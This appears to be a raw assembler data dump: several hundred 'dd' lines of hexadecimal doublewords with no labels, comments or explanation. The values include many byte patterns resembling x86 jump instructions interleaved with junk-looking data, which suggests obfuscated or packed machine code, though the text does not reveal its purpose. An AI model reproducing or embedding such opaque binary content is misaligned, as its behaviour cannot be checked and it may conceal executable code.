		dd 0D35825B8h, 48C14493h, 0D98B6A69h, 0FDB3CF8Bh, 66C18B66h
		dd 8B53D88Bh, 9E958F9h,	45000000h, 133D22D8h, 0C5823FF8h
		dd 5049EA80h, 59B5E180h, 1547BA66h, 0E9F9BF0Fh,	9, 0DBA62361h
		dd 0DF7A34A4h, 0F38166D6h, 890F018Fh, 4, 4FC5BB66h, 6EF7E981h
		dd 0BE96866h, 0B3000000h, 0F1BC65D5h, 0D56564A3h, 8DB3ED87h
		dd 6840F57h, 81000000h,	8189FBD7h, 0F565A11h, 581h, 0D8816600h
		dd 605E0414h, 0E9E2DC80h, 0Eh, 3DE5A535h, 4E16544Ch, 9E318BB2h
		dd 8161A434h, 0A86032F2h, 38B0F17h, 80000000h, 0C28163C2h
		dd 64044789h, 77DB8157h, 5F0D0650h, 4AD88166h, 0F53FC65h
		dd 0C88h, 7E900h, 0CC540000h, 74E656Fh,	0B2F959EEh, 0E38157F0h
		dd 1D91CF6Dh, 6E85Bh, 0C0420000h, 40A0006Eh, 0C18B665Eh
		dd 2CE38166h, 0D8F580D3h, 28A0FF9h, 8B000000h, 28B0FF9h
		dd 8A000000h, 0FF88BEBh, 228Ah,	8E800h,	546B0000h, 5E23D927h
		dd 0FE9AADFh, 54000000h, 0CFE29CF4h, 40177FC4h,	4F748EDBh
		dd 0E95AF2E8h, 0Fh, 24254CBCh, 81EA7B9Fh, 4170028Eh, 0B03B4833h
		dd 0C6DB8143h, 8056202Ch, 816612DDh, 80AA6BDEh,	8B663CD8h
		dd 0FE9CFh, 0C3C30000h,	397C15CAh, 591A7324h, 0BE6ED6AEh
		dd 0A5E38007h, 0FCA9B866h, 8B66D78Bh, 66EBB1D3h, 5F1FCB81h
		dd 57F9F58Ah, 0FC28166h, 10E95A57h, 58000000h, 0C49033A9h
		dd 7879D19Eh, 38823843h, 80EDA22Bh, 816699EDh, 66698CE1h
		dd 958CA81h, 0C57159BBh, 0A150BE56h, 14E92511h,	1B000000h
		dd 63FA0301h, 0D03E0Eh,	0EA1C7DB2h, 0F3A9189Ch,	0E9E79B5Fh
		dd 8, 0C29E97C6h, 15A65595h, 0E881C38Ah, 606CF835h, 0BE8h
		dd 0C5332C00h, 93845CAFh, 87D124E7h, 5BD18B66h,	0B0D3B70Fh
		dd 10E8DCh, 0DAB90000h,	7842C90Dh, 0F42C9142h, 1AEA0A34h
		dd 0E960084Ah, 11h, 615CFA72h, 8B43F9DBh, 0C1670DE0h, 0E643689h
		dd 6EBB66F9h, 66586114h, 0D881CB8Bh, 0B5227A2h,	0DE9h
		dd 0D08FDD00h, 5F0B1F8Bh, 0A9CF9D63h, 0D78B90C8h, 0AE9h
		dd 83CE2800h, 0FCFF4C8Eh, 0F5BF03Ah, 58Bh, 0DCBFBE00h
		dd 13E96C2Ch, 49000000h, 0D84DC8DCh, 585901Ah, 781C4BB7h
		dd 0CE1F288Ch, 8F0F9FC8h, 0
		dd 0F3BF0F60h, 4134B5B9h, 6CBF612Bh, 5619D0F2h,	13E9h
		dd 31A36C00h, 89DAFD86h, 0FC4E98B9h, 2362517Bh,	0AC1E37D9h
		dd 0E950FC59h, 0Bh, 85473C34h, 0F317A822h, 5E94C80Dh, 5E9h
		dd 0D6D2CF00h, 816660BAh, 0E87353D6h, 7, 4216E0EEh, 0FCA1DE0Fh
		dd 0F78B665Fh, 8820Fh, 840F0000h, 2, 8B66D18Bh,	9797BAF8h
		dd 0D2813A3Ah, 6FEF6C5Ah, 7CD5D3BBh, 0F78B6627h, 68B0Fh
		dd 0E7810000h, 370CEC38h, 11E8h, 0E4CD6500h, 0C10FCBC9h
		dd 452290E1h, 72B2DFB6h, 0BF0F7020h, 0AE85AD2h,	0DD000000h
		dd 0E12A390Ah, 2363E52Bh, 8EE81E8h, 5F083550h, 13E9h, 733E8300h
		dd 9B134694h, 0B9772B0Bh, 0A365C2CEh, 3DD254B8h, 2C8A0Fh
		dd 13E80000h, 5C000000h, 19763CB5h, 80415F39h, 0F1B7FBCCh
		dd 0AE441AA4h, 0EE9C49Bh, 8B000000h, 8E48636h, 459FEE9Bh
		dd 47A7CBA1h, 0DA815B46h, 4BBEC23h, 7E960h, 2F180000h
		dd 3D8A00B8h, 0AE94Bh, 43110000h, 6DA38823h, 964442DDh
		dd 0F8B70F61h, 6E9h, 4B954000h,	8AD5553Ah, 810FF8FAh, 12h
		dd 0DE9h, 27DE5D00h, 2CF14F73h,	27793654h, 0C380DBE4h
		dd 5036BAC4h, 0FE849A1h, 4000000h, 0E50B9D47h, 639FE03h
		dd 0B1BD9607h, 0F603EC9h, 8Bh, 610DB500h, 0FE96058h, 29000000h
		dd 46696C2Ch, 6AC5845Eh, 0A191715Ch, 61F5395Fh,	61BFF860h
		dd 61327B55h, 14840Fh, 0FE90000h, 0C7000000h, 0ECEACC61h
		dd 0BC012AD9h, 9BDFD5CDh, 12E98F67h, 0B7000000h, 0CC72E633h
		dd 0C73CB44Dh, 2E7A3DF3h, 75C79E82h, 0C981664Ch, 870F035Fh
		dd 16h,	11E9h, 317E2900h, 501E131Bh, 0FC603D71h, 53CAC985h
		dd 0DF8B7274h, 0E9B2D981h, 7CB81D0Ch, 803BB0BDh, 8B661BE8h
		dd 0BDD180D9h, 12E8h, 677EE700h, 0A88463F8h, 0CF4F1179h
		dd 63EC144Bh, 5AB9C898h, 816672B4h, 8071A2E9h, 0F52B1F0h
		dd 0E85EFAB7h, 0Eh, 0E25C0D3Fh,	0ADF7E0Fh, 0FCADC123h
		dd 0C0BB58C0h, 5E107FA4h, 6E95660h, 1E000000h, 0BE86A016h
		dd 9E95BEFh, 7A000000h,	2A52719Fh, 33BADB4Ch, 0D18B6661h
		dd 59CA8B56h, 2850Fh, 8DB00000h, 8E9h, 27B2D200h, 93AD6ED7h
		dd 0DE97Eh, 2C260000h, 0E76E71A3h, 64FC3159h, 0FA0C16Ch
		dd 8Bh,	81666000h, 617B0CCFh, 11830Fh, 9E80000h, 7000000h
		dd 70155674h, 0D7BCE37Ah, 805BDD8Ah, 8B6623EBh,	0BE9C1h
		dd 8B220000h, 66013441h, 0DF7C53B2h, 0DA8BF878h, 3FD18166h
		dd 12BB66BBh, 0FE920h, 0DCF90000h, 939133D8h, 27789D62h
		dd 8D7B58BDh, 0DE9F811h, 3F000000h, 5818C582h, 5D35E14Ch
		dd 0F0A14809h, 0E8D8B70Fh, 6, 0FFF7BA57h, 0BE99BB1h, 0A2000000h
		dd 436C7ECAh, 55C17B0Ch, 0F55B152Ah, 80E140B9h,	5E921h
		dd 8A7C0000h, 0FBAA491h, 80h, 10E900h, 579D0000h, 1D3FB9B6h
		dd 420EDFA2h, 6C9563D7h, 0C081EA20h, 4327A370h,	11CF8166h
		dd 58A0FA1h, 0BA000000h, 30954274h, 0BE8F9h, 0F3B20000h
		dd 0BB20E33Eh, 6FCC5412h, 12E865h, 0C3D40000h, 16363A5h
		dd 85200DBBh, 0A520ED15h, 44347EE2h, 12E9h, 15C59100h
		dd 49B4C8ADh, 7672E0AAh, 0E4D67487h, 5ABB9398h,	0C0BF605Bh
		dd 816C70C2h, 0BE8831DEh, 0B70F6138h, 12E9F3h, 2AC70000h
		dd 61AA80EFh, 0C1C05B59h, 8F3497ACh, 64661C1h, 0C480D08Bh
		dd 58CFB84Bh, 0B6BF3321h, 0F6E2F0Ch, 384h, 0C28B6600h
		dd 0EE86EE81h, 0E4BA3929h, 663AB552h, 6674BCBAh, 14E8C38Bh
		dd 0DE000000h, 0D2B47B31h, 1A2B305Dh, 75854021h, 0E74E0502h
		dd 0BB1DC679h, 26EF83A3h, 0CE95Bh, 0D3CF0000h, 3A0AE4B8h
		dd 5D1912FEh, 66601F05h, 0E94AD1B9h, 6,	9B533F4Fh, 0E861904Bh
		dd 0Fh,	0FF968961h, 0F4E2CBC6h,	46289DD2h, 5EB33F6Fh, 0A1CEE781h
		dd 0BF0F0934h, 0B870FD0h, 0F000000h, 58Ch, 0D9816600h
		dd 10E8A0A5h, 6B000000h, 28C0AC3Ch, 0A2FDDE73h,	31A7A57Fh
		dd 0F94492E2h, 870F5Bh,	0B9000000h, 2DA8041Fh, 0FEB9C78Bh
		dd 0F57A67Dh, 8Ch, 10E900h, 56270000h, 81C7AAB6h, 0B95A5241h
		dd 0AD5B68Bh, 8B66A2A1h, 0CE956F0h, 0DA000000h,	7436998Bh
		dd 0E44F20B7h, 59F14443h, 9E9h,	661D5B00h, 9D7D0D46h, 0C18BD4B9h
		dd 14E8h, 0B8B7C00h, 67489FBBh,	48D63052h, 8EB1E864h, 414DD3F2h
		dd 14C68166h, 5A3DF4E8h, 0BE9h,	0BBC53700h, 5E14ED81h
		dd 0FB698B8Ah, 0F04B1F8h, 18Fh,	8B0FF800h, 2, 0BE8C38Bh
		dd 28000000h, 0E5F9E599h, 1DB34E19h, 5053C68Eh,	0F5E595Eh
		dd 89h,	0DC80F800h, 0BF0F602Dh,	0D8BF0FC9h, 5E961h, 406E0000h
		dd 81C15688h, 0D1E002DFh, 7E916h, 42AB0000h, 0DE12B512h
		dd 0A8A0F4Eh, 0F000000h, 48Bh, 5DB86600h, 188A0F42h, 0E9000000h
		dd 13h,	1272845Dh, 6E5B0F85h, 2BE079A9h, 7BFAAB2Ah, 0E90EDCE7h
		dd 11h,	0DBD8F4E0h, 663103A6h, 46C19AA2h, 27777966h, 0EA80FC82h
		dd 67F3BF50h, 6E94E28h,	85000000h, 1969097Ch, 8166F9FAh
		dd 0F9673C8h, 884h, 2820F00h, 60000000h, 0EE961h, 5E1E0000h
		dd 591EDECh, 4E90DDDBh,	0AF7FCCC4h, 3880Fh, 8B660000h
		dd 0DBBF8C3h, 66064577h, 0F560A3B9h, 10E9h, 0E807F800h
		dd 0AD642B7Ah, 45685121h, 95A41A84h, 5DA7BA87h,	0CF8A7AE1h
		dd 56D98B66h, 5FC28B66h, 2FFDBB66h, 0FE9h, 38FFA800h, 0F969A9BEh
		dd 7DDD051h, 0DBB4C2F7h, 14E9h,	43248900h, 1488DE04h, 0E1F5838Bh
		dd 71234FCh, 73AF2222h,	0FC18BB7h, 238Dh, 10E96000h, 70000000h
		dd 0FDFBE2D0h, 0EFA20D7Dh, 0DA3B5748h, 0E98285E7h, 7, 7967B5A9h
		dd 61EE6E46h, 2D33C881h, 0D68B4EC5h, 6E8h, 0ECB11600h
		dd 5A13A84Eh, 11E8h, 3BBEBA00h,	60D564D3h, 0AB19A824h
		dd 90A37D43h, 0CF8BAD94h, 11E9575Eh, 8B000000h,	0D392EBDBh
		dd 46120D6Dh, 2B69DB71h, 97CCDC2Dh, 0C68B665Eh,	66E1D980h
		dd 0B86BC881h, 11E953h,	0F8260000h, 1F3CAC58h, 7088DAF2h
		dd 7CF1FF37h, 5B157375h, 0E2816051h, 0DA36440h,	9E9h, 2F018F00h
		dd 598889ABh, 5A614FACh, 65D28166h, 526050F1h, 9B0CB85Bh
		dd 58610E89h, 1DB156F8h, 8166525Fh, 5BE046F1h, 7870Fh
		dd 66600000h, 0C18BDE8Bh, 0CA816061h, 66C0B486h, 0D2BE6661h
		dd 1AD181E1h, 0F42397Dh, 282h, 8AF18B00h, 0CF8B66F5h, 0F9C9BF0Fh
		dd 5860Fh, 81660000h, 8006D6C6h, 7E989C0h, 7E000000h, 9F5F17B4h
		dd 8166C8CCh, 817D50C9h, 0EED667E2h, 0C2816636h, 0C680D7EEh
		dd 6E9F5h, 57110000h, 810AB51Ah, 0CB8B66F5h, 0B70FF38Bh
		dd 46B966D9h, 61BEFCF1h, 66355DB4h, 51188FBEh, 0EF81F85Fh
		dd 85DD280h, 8166D9B7h,	0E9CF5EC9h, 0Ah, 9744C967h, 70EE92FCh
		dd 5E97BBDh, 44000000h,	68720A0Ch, 3860F57h, 0F000000h
		dd 8A5FCFBFh, 0E18166CAh, 8B661BEEh, 1880FD3h, 0FC000000h
		dd 0D38056F8h, 58505EF5h, 0D25119BAh, 0F38B660Eh, 0BAFBB70Fh
		dd 5FFA34A4h, 0E861FC60h, 0Eh, 8A7766ECh, 7307999Ah, 0D9DD1AAFh
		dd 0AE88A19h, 32000000h, 0B15D2D52h, 0B24763E9h, 11E88Ah
		dd 0DFA90000h
		dd 0FA70950Fh, 9B593D2h, 0A035F250h, 59C1E96Fh,	81665F5Fh
		dd 0E950A6C3h, 8, 22ECE5CAh, 0D6518709h, 8DAEBE66h, 84D98166h
		dd 0BBF9604Fh, 334477C5h, 14E861h, 0E3E40000h, 1E6A4F86h
		dd 0E333A2E9h, 395C3247h, 0A2228744h, 0E860F47Eh, 0Fh
		dd 32B532D6h, 4BFA1BD2h, 9AFB91h, 5A921F1Ch, 840Fh, 58610000h
		dd 0DEB3B966h, 7E9h, 0BD7EFD00h, 5027B569h, 0FD86E281h
		dd 8E0F0024h, 0Ch, 0FF15BB60h, 12BB4614h, 610ADCAEh, 6840Fh
		dd 0F1810000h, 532C601Fh, 10E8h, 48434800h, 5224122Bh
		dd 95528ABFh, 0B92ED325h, 0EB816607h, 0F85E2996h, 60CEBF0Fh
		dd 8F05EB81h, 0F61546Dh, 0E952DAB7h, 0Bh, 19AB1FEBh, 0D16E5324h
		dd 593A1929h, 10E8h, 598FBC00h,	82346C09h, 7FE295Ch, 7549A9DEh
		dd 0CE81661Eh, 815F291Ah, 0E6B55EF3h, 2810F74h,	8A000000h
		dd 12E8C2h, 9A320000h, 271CA8B1h, 3F64ED11h, 0C177C35Eh
		dd 2B677739h, 805AF08Ah, 0B70F00EEh, 81FA8BCEh,	113D4CEh
		dd 0D281F96Eh, 54BF5872h, 78B83CBFh, 0AE914h, 0BB70000h
		dd 0F5F7B037h, 757F4CDh, 0FC3B70Fh, 68Ch, 0C6D98100h, 0F387C52h
		dd 8Ah,	0DE800h, 0A4DE0000h, 58841389h,	90277518h, 5870A1C8h
		dd 0BA66F18Bh, 8E98795h, 9F000000h, 43DE2110h, 0E9D7AF86h
		dd 0Eh,	0C51F055Dh, 0A79F0013h,	991A332Bh, 60F52187h, 0EE9h
		dd 0DA786A00h, 0FD526206h, 41E7E68Eh, 52ED7B78h, 66FC615Ah
		dd 8131B0BEh, 0E760EBD2h, 74D88015h, 0D6CBFFBBh, 0C6816625h
		dd 0E381805Eh, 3590A511h, 8B66F3B3h, 10E9FCC1h,	0EF000000h
		dd 0AF010F0Bh, 4DE17498h, 735F9B77h, 0BEF81767h, 500DC467h
		dd 0AE9h, 5FBBCB00h, 31D63B53h,	81868F63h, 83D39F7h, 50B9F848h
		dd 0B665A493h, 0F3816699h, 8E0F330Dh, 4, 0C1ECB966h, 5E9h
		dd 0FF240500h, 8166FD44h, 6685BBC0h, 660AE2BFh,	805D62B9h
		dd 66F567CAh, 8A0FDE8Bh, 1Ch, 0F98B6660h, 12E9h, 43A70700h
		dd 0DDF04C19h, 60D167h,	5EFA64A2h, 6168D610h, 0EE9F5h
		dd 146C0000h, 0A2F06B9Fh, 8649A834h, 7C8344C5h,	5850FF5h
		dd 0BA000000h, 7BAABA1Ah, 8E8h,	0F9545500h, 0F32C056h
		dd 0F1BF0F4Eh, 8B665258h, 8A0F5EF8h, 8,	2860Fh,	5B570000h
		dd 0DD35BA66h, 0DB81F18Bh, 21AB111Ah, 28C0Fh, 9B00000h
		dd 6576BE66h, 12E9h, 52843D00h,	0CE2F7EDFh, 78F2E5D8h
		dd 608BC312h, 0E990737Ah, 13h, 0A9FF9FC8h, 3A265E98h, 17B47E62h
		dd 0C8CC9F5Fh, 0FF4BE5Dh, 382h,	0DE8B6600h, 5F585350h
		dd 14E9h, 1FF9FF00h, 0C6C5F8A9h, 3DE431D1h, 213E4135h
		dd 22706DBCh, 0E1DE80E5h, 6653F9B3h, 97EAD081h,	0C8DE805Eh
		dd 0CD9CB866h, 0B70FD38Ah, 0BF81B1F7h, 2ECD56CEh, 53D1B70Fh
		dd 0F8D1D981h, 0F586675h, 289h,	81F18B00h, 1F0CF8C7h, 0DA81660Bh
		dd 9E98C46h, 14000000h,	0E9DF7337h, 0F5806051h,	860F56h
		dd 59000000h, 3890Fh, 8B660000h, 0C7B70FCAh, 148C0Fh, 8C0F0000h
		dd 0Eh,	9E9h, 9F0300h, 33A958ABh, 0E58AC490h, 860FC68Ah
		dd 4, 0F78AB966h, 0E8C8B70Fh, 11h, 0D94EDFE2h, 5DF728B4h
		dd 0FF290F43h, 1325D5F3h, 0EF816660h, 665E435Bh, 8A91E081h
		dd 4D3DBA66h, 0CFBF0F60h, 66C68A61h, 0BF0FC88Bh, 6566B8C8h
		dd 0FE91C8Ah, 10000000h, 3DC087C2h, 0EDB0CDF9h,	0F96CDCCDh
		dd 8166817Eh, 51554DD1h, 3B3435BEh, 8B665F25h, 3830FD8h
		dd 66000000h, 0D281CF8Bh, 55FD2541h, 0E9F78B66h, 14h, 4BB3DC9Ah
		dd 0AFDDA808h, 39EF1924h, 1770A865h, 4C8C3C4Bh,	8A0Fh
		dd 58530000h, 0D3BF0FF9h, 15890FFCh, 0E9000000h, 10h, 8FE8A2DCh
		dd 2D71B35h, 0FD53499Fh, 8962C745h, 9E9h, 0BD67A900h, 6B90E018h
		dd 0DE866A3h, 1B000000h, 702DF7F8h, 49E80C62h, 0FA26DC6h
		dd 0EE8h, 9FE2CC00h, 0EB684769h, 88D5BCA9h, 66606CD5h
		dd 5A5FC38Bh, 2AE98166h, 0C4E68145h, 8B60F0BDh,	0A9E881DAh
		dd 51639F5Eh, 0ED51CB81h, 0F587D84h, 380h, 0D38B6600h
		dd 70E18053h, 8C0F58h, 0F000000h, 0E8Ch, 9E900h, 4D5B0000h
		dd 9AE2A9D9h, 6623DE81h, 8BF66FBEh, 890FD8h, 66000000h
		dd 0BF66C78Bh, 0C08177FBh, 26B4C9BCh, 0E081CE8Bh, 7D6C8E5Fh
		dd 6E9h, 0E8F85600h, 66263C05h,	4613D081h, 68B0Fh, 0D2810000h
		dd 35638AF7h, 3765E281h, 0DE8B4DE5h, 68E0Fh, 0B2600000h
		dd 61D5B7BAh, 23E2C281h, 800F46E5h, 0Bh, 5820Fh, 81660000h
		dd 0B32F9FF0h, 6938BE9Dh, 0EB8A236Ah, 0D336BE66h, 0E5DF8166h
		dd 0BB536058h, 20C86BB9h, 0CABF0F5Ah, 12E96061h, 0C4000000h
		dd 4BA940D5h, 0E40D375Eh, 50E10109h, 0A6B43F5Ah, 0D2816616h
		dd 0E861101Eh, 12h, 5AA3BF81h, 5D51DC00h, 294F1B4Dh, 320D8D3Fh
		dd 815A821Ah, 0C3F55E8h, 8E844h, 0E270000h, 0A094A59Ah
		dd 81667D94h, 5A669BE3h, 9440BF66h, 0FC3BF0Fh, 381h, 0D38B6600h
		dd 65971DBFh, 2EE8811Bh, 8B193802h, 0F08B66FBh,	0D0D28166h
		dd 1D68146h, 0BE393778h, 481789BEh, 5E9ABB66h, 80D3BF0Fh
		dd 13E83ADCh, 8D000000h, 3DBE64E6h, 0B2D52E17h,	4338EAE0h
		dd 0F3B51D78h, 8166DF2Bh, 5A6D2EE7h, 5AD28166h,	0F1B70FA2h
		dd 58C0Fh, 81660000h, 523A94E2h, 9CB86660h, 0BFD681D9h
		dd 61733BF8h, 5890F5Ah,	0BF000000h, 7EF882D4h, 8E9h, 84CEA300h
		dd 0D6450235h, 0AE94Bh,	0B8990000h, 94684AFAh, 2E570565h
		dd 0E29FDE81h, 880F0C7Dh, 5, 0F6E28166h, 0CF816665h, 810FF7B5h
		dd 3, 6609C280h, 0E96E63BEh, 11h, 6BA0910Eh, 47E7BC93h
		dd 0F457506h, 0FA03011Bh, 1B870F63h, 0F000000h,	1580h
		dd 10E900h, 709A0000h, 0E70C8FC9h, 9952ED7h, 5F5BCE70h
		dd 0B8560E33h, 21E4C574h, 2870F58h, 0B4000000h,	0B9DA8A4Bh
		dd 65B03F7Eh, 0FFCFA8Bh, 38Bh, 0F8BF0F00h, 7A4F1EB8h, 0D88B6651h
		dd 0B7DEBF0Fh, 0E95853DBh, 11h,	34CC2BC2h, 93D90A2h, 0D0046D68h
		dd 0E325956h, 4820FFFh,	66000000h, 60B370BEh, 59616050h
		dd 0F8B70F61h, 0F493ABBFh, 0F1BF0F30h, 18880Fh,	10E80000h
		dd 38000000h, 58922E4Ah, 0D6C919E6h, 43927B27h,	60385FDAh
		dd 0AE95F61h, 2B000000h, 138F9699h, 8634D032h, 10E960DAh
		dd 0A7000000h, 1D037227h, 0A48F515Eh, 35A14728h, 0F0E901Dh
		dd 68Ah, 8F08100h, 61772694h, 8603BE66h, 1FC92FBBh, 6DBF6669h
		dd 10E991h, 0A3340000h,	9DBD0A79h, 35A3C79h, 0DCAE7FC5h
		dd 76BF1C07h, 570C2738h, 6E9h, 35906A00h, 5B2941C6h, 0DE9FCh
		dd 17EC0000h, 0B4296227h, 0B952A6F8h, 665D62D3h, 57B343BAh
		dd 5E65F280h, 0CEBF0FFCh, 5A526057h, 8E9h, 933B000h, 5BB02BB6h
		dd 0BB5F6169h, 16FFF414h, 6A38BFF9h, 0E8816CB8h, 0ABAED10h
		dd 27A6B866h, 2870Fh, 0F88B0000h, 0D9BF0FFCh, 12E9h, 247F1B00h
		dd 0AA0F6E69h, 112F4736h, 2D6759A5h, 0E88AE520h, 6, 85200DBBh
		dd 8B0FED15h, 0
		dd 10E9605Ah, 3F000000h, 1A8AF75Fh, 94400AEAh, 7B9B63DDh
		dd 60238AE6h, 6118F380h, 0C28B6661h, 81B7BBF9h,	0D8807F4Dh
		dd 0FDDE81A7h, 60326740h, 38B0Fh, 0B70F0000h, 0B6B966C9h
		dd 12B4617Fh, 800FFB8Bh, 0
		dd 66D0B70Fh, 0C18BEA81h, 0D78B0DB4h, 37C2BE66h, 0A5D5C381h
		dd 81663A23h, 601D18D0h, 6DE9BA66h, 0CE9h, 1D865100h, 0A5D089E3h
		dd 0B575F652h, 0F2B361DBh, 66DEB70Fh, 0F76E4BFh, 86h, 232BF00h
		dd 0B70F0A3Ah, 8E0F52C3h, 4, 8A59B966h,	0C981F558h, 0B560893h
		dd 39D28160h, 8A58200Eh, 8B6661C3h, 0EE9FAh, 2AE20000h
		dd 0C118447Ch, 454407D4h, 0F7023F78h, 0FDE8B66h, 8B66D2B7h
		dd 8E9F2h, 1FF80000h, 0DF6CDA9Eh, 0BE9A2E8h, 9A000000h
		dd 0D02FE09Dh, 5B2FB1EBh, 66604CCEh, 0FB9CD381h, 0C7B70F61h
		dd 11880Fh, 0CE90000h, 39000000h, 0A5190ABDh, 994116D1h
		dd 608FCE5Ch, 168C0Fh, 10E80000h, 25000000h, 0B55F899h
		dd 0AD11679Dh, 494ECF8Ch, 5E84F5BCh, 38BA5061h,	594FF016h
		dd 0EE8h, 0F8307400h, 0B2855732h, 0C6DBB8B0h, 583F9C1Fh
		dd 38B0Fh, 0BF0F0000h, 6EEF81D1h, 8B03EE39h, 0C9BF0FF3h
		dd 0E8A9F780h, 0Dh, 0A9FAD22h, 929B0CE3h, 4D8DFFA3h, 1830F4Bh
		dd 0F5000000h, 4BEFBA5Eh, 0D2B0369Eh, 198A0Fh, 14E90000h
		dd 9F000000h, 0FC920A2Ch, 0E22BF8DFh, 8DC0B794h, 7544B778h
		dd 81347FABh, 0AAFE91DAh, 870F7Ch, 66000000h, 130FD881h
		dd 80DBB70Fh, 0E96066EFh, 10h, 0FCB37F40h, 3848BAEEh, 8AEB3D1h
		dd 0B17AAE35h, 99BE6661h, 12E9D6h, 0F83B0000h, 6F705097h
		dd 2759E539h, 0C249FC84h, 52F8D0C6h, 0DA8B6652h, 0C28BF958h
		dd 0DDE9F0B8h, 0CBBF0F0Eh, 5A565160h, 860F605Bh, 0
		dd 0F516161h, 183h, 0F5AFC00h, 585h, 0E3816600h, 0FF991C8h
		dd 0D85h, 8E900h, 3D450000h, 0C402DAECh, 5E82600h, 4A000000h
		dd 2EC8A736h, 815EC6B3h, 16288CC6h, 80C38A71h, 0CE8BDFC2h
		dd 10E9h, 0A06BEF00h, 7CBE9585h, 9F0F8918h, 703273BCh
		dd 0DF8B6691h, 168D0Fh,	0DE80000h, 0F000000h, 4D8AB014h
		dd 95988612h, 35DDDED3h, 5ECA8B66h, 5FD78B53h, 0F29C081h
		dd 850F30A9h, 6, 0E88CD881h, 0EE95892h,	0B3000000h, 81F60676h
		dd 0FC7C02E2h, 0AE0CA881h, 44B86673h, 78C0FDBh,	52000000h
		dd 6BE18166h, 0DE95BB4h, 97000000h, 0CA9AE530h,	0DB977946h
		dd 0C0F71507h, 9E9h, 0BAA6D000h, 0B4ABCCD0h, 0BA66DC82h
		dd 0FFC7D27h, 0F18BCBBFh, 38D0Fh, 0D7800000h, 0CE8166D2h
		dd 0FC506F64h, 60B8B55Ah, 0AE861F8h, 0A9000000h, 31C62586h
		dd 0D7C4E7F3h, 0D1BF0F65h, 6E858h, 38D20000h, 0D22B881Bh
		dd 5808C980h, 0E993EE80h, 14h, 0CAEA5AADh, 0F91B2736h
		dd 6AE03203h, 5D8436E9h, 0C03512C2h, 5E8h, 643C6300h, 8B66A8ACh
		dd 0E2815AFEh, 7BD05280h, 6656D480h, 0D01AF381h, 50DC8A60h
		dd 17A8B866h, 0CE8615Ah, 33000000h, 0CB338A56h,	5B35CFD9h
		dd 66556FBCh, 0FA07E981h, 13E95Fh, 7F330000h, 0A65F28CCh
		dd 0C8ED8D9Fh, 0D5C55174h, 975B86E7h, 8E9DDh, 69B50000h
		dd 0F3B6417Dh, 7E94CE2h, 1F000000h, 0BA9D0498h,	0DA809CE5h
		dd 0AE9DBh, 0B67A0000h,	5F180226h, 40A3EDD6h, 8AC3B70Fh
		dd 0DA8166C5h, 880FEE39h, 10h, 8E856h, 233E0000h, 9BB7D5D5h
		dd 5F5A689Fh, 6021CB80h, 0E8C0Fh, 9E90000h, 0F1000000h
		dd 91C4190Bh, 0DF03949Eh, 0B6DE8166h, 840F6120h, 3, 8B7CEF80h
		dd 0BAB866CEh, 7E95Bh, 0BC30000h, 0BA485C93h, 0C1B05362h
		dd 7E959h, 44E40000h, 0D45D0E40h, 0F38B6073h, 0DE96061h
		dd 3C000000h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h,	0C68B6660h
		dd 840Fh, 61610000h, 0C636BA66h, 0B966CE8Bh, 57BAE976h
		dd 8128F83Bh, 0FAAD82E6h, 5E950h, 0B37F0000h, 0F5BAEEFCh
		dd 9CE28166h, 0FE8FFh, 389C0000h, 97DD20B5h, 0C1ABA71Fh
		dd 274D91E5h, 68B0F78h,	0F000000h, 80h,	0BABF5F00h, 8B7A2E1Eh
		dd 0E860FF9h, 0E9000000h, 9, 261BDE69h,	414F431Dh, 6E910h
		dd 1B2F0000h, 0FA3ED861h, 0E9CF8B66h, 0Ch, 0AF260D39h
		dd 621BDAF7h, 0F363F595h, 8BDABF0Fh, 10E8F0h, 40840000h
		dd 0A6A7B44Eh, 0B973D957h, 170D90D2h, 7E9E5FEh,	0C4000000h
		dd 66242600h, 0E95816FFh, 0Eh, 0A768F324h, 86042BDAh, 88F5B82Ah
		dd 0BE66D8F5h, 806006F3h, 8F0FD3E8h, 1,	816661FCh, 0E993CAC8h
		dd 0Eh,	0AB22069Ah, 5BAD66B2h, 561795F4h, 9E92226h, 94000000h
		dd 216038C1h, 0A18D8B4Eh, 2840F51h, 0B5000000h,	0BE95A1Ah
		dd 0E2000000h, 0A597F3E1h, 275AA88Fh, 15BB33CFh, 0F8631B5Bh
		dd 0CE9h, 6BF66000h, 0ECAB6419h, 741D31A8h, 8A60F954h
		dd 4AC480EEh, 83CB8161h, 60079274h, 0E74CB966h,	12860F61h
		dd 60000000h, 5E8h, 7C4C4500h, 0BE5F2C06h, 6AC0DC9Bh, 0F565361h
		dd 595FFEB7h, 1820Fh, 0E8FC0000h, 0Ah, 0D896F804h, 0A16D1FDDh
		dd 0A7B8FF63h, 582E1AA2h, 5860Fh, 81660000h, 0E96DFBCFh
		dd 12h,	4FE1A619h, 716AF1Fh, 37C39EE6h,	0CF444D8h, 0E9F522DAh
		dd 9, 1E1B767Eh, 459D3128h, 9CEF81A7h, 8159C6A8h, 4C14F8F2h
		dd 48F0F2Fh, 66000000h,	66C181BBh, 6012BCBFh, 12E9h, 5172DD00h
		dd 7E3731Bh, 1CFA32ADh,	3519BAD9h, 0BA5E2885h, 35757337h
		dd 800FF861h, 3, 0FC7BF0Fh, 1183h, 5E800h, 238E0000h, 0F645125h
		dd 81h,	820F5B00h, 7, 0C7816656h, 0E95A91B4h, 0Dh, 9E427F89h
		dd 0FFAF3E07h, 0F4D25539h, 0BE842h, 855A0000h, 86A4DD87h
		dd 8E44FACAh, 0DBB70FCFh, 14E9FC5Eh, 44000000h,	0B50B4DCDh
		dd 1612BD91h, 866674Ch,	0BCFE3CFDh, 605EDA20h, 0AE9h, 0F0FE2800h
		dd 0BFAF7E5Fh, 0F5BFF01h, 0E961D2BFh, 0Fh, 61E4E552h, 0E4FA6AD3h
		dd 0E465CD4Ch, 66A41DE1h, 0E9F5D88Bh, 0Bh, 0C11FA1D1h
		dd 81D56711h, 0FE7B047h, 0B8Bh,	5810F00h, 66000000h, 5277CF81h
		dd 58566060h, 0D27ABB66h, 10E28061h, 5EBB6061h,	616C4F62h
		dd 2870FF9h, 8B000000h,	13E9F7h, 5D5A0000h, 3330B548h
		dd 5C448089h, 86F72B8Bh, 0C8D1DFEBh, 0FBE381A8h, 5174448Ch
		dd 5E9h, 0C1670D00h, 0F5A3689h,	8166FEBFh, 0E96648E0h
		dd 0Dh,	3B80E621h, 0A99C518Dh, 53C6D74Fh, 860F5130h, 5
		dd 3736A1B9h, 0F78A5E0Ah, 0B2FEB70Fh, 800FA8h, 0B8000000h
		dd 61AA4D58h, 0AE860h, 188F0000h, 0B15EFD22h, 0EDD5EB24h
